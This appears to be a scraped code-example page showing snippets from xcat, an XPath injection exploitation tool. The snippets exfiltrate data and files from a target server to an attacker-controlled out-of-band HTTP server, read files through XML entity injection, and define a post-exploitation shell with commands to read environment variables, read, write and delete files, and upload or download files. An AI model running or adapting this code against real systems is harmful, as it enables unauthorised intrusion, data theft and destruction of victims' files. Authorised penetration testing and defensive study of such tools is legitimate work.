Exemplo n.º 1
0
    async def test_func(requester: Requester):
        server = await requester.get_oob_server()
        if server is None:
            return False

        result = await requester.check(
            doc(server.location +
                endpoint).add_path('/data') == server.test_response_value)

        return result
Exemplo n.º 2
0
async def upload_file_via_oob(requester: Requester, remote_path,
                              file_bytes: bytes):
    encoded = base64.encodebytes(file_bytes)
    server = await requester.get_oob_server()
    url, future = server.expect_file_download(encoded.decode())

    await requester.check(
        write_binary(remote_path, base_64_binary(doc(url) / 'data')))

    try:
        return await asyncio.wait_for(future, timeout=5)
    except asyncio.TimeoutError:
        return False
Exemplo n.º 3
0
async def get_string_via_oob(requester: Requester, expression):
    server = await requester.get_oob_server()
    url, future = server.expect_data()

    if not await requester.check(
            doc(concat('{url}?d='.format(
                url=url), encode_for_uri(expression))) /
            'data' == server.test_response_value):
        return None

    try:
        return await asyncio.wait_for(future, timeout=5)
    except asyncio.TimeoutError:
        return None
Exemplo n.º 4
0
async def get_file_via_entity_injection(requester: Requester, file_path):
    server = await requester.get_oob_server()
    url, future = server.expect_entity_injection(
        'SYSTEM "{file_path}"'.format(file_path=file_path))

    return await get_string_via_oob(requester, doc(url) / 'data')
Exemplo n.º 5
0
Arquivo: shell.py Projeto: ru0/xcat
     'time', [], 'Get the current date+time of the server',
     lambda requester: get_string(requester, string(current_date_time())),
     ['current-datetime']),
 Command(
     'rm', ['path'], 'Delete a file by path',
     lambda requester, path: throwfailed(count(requester, delete(path))),
     ['expath-file']),
 Command(
     'write-text', ['location', 'text'], 'Write text to location',
     lambda requester, location, text: throwfailed(
         requester.check(write_text(location, text))), ['expath-file']),
 Command(
     'cat_xml', ['path'], 'Read an XML file at "location"',
     lambda requester, location: display_xml(
         get_nodes(requester,
                   doc(location) / '*')), ['doc-function']),
 Command('find-file', ['file-name'],
         'Find a file by name in parent directories', find_file_by_name,
         ['unparsed-text', 'doc-function']),
 Command('download', ['remote-path', 'local-path'],
         'Download a file from remote-path to local-path', download_file,
         lambda f: (f['expath-file'] or f['saxon']) and f['oob-http']),
 Command('upload', ['local-path', 'remote-path'],
         'Upload file from local-path to remote-path', upload_file,
         ['expath-file']),
 Command('env', [], 'Read environment variables', read_env,
         ['environment-variables']),
 Command('cat', ['path'],
         'Read a file (including network resources like ftp/http)', cat,
         None),
 Command('ls', ['path'], 'Read a directory', cat, None),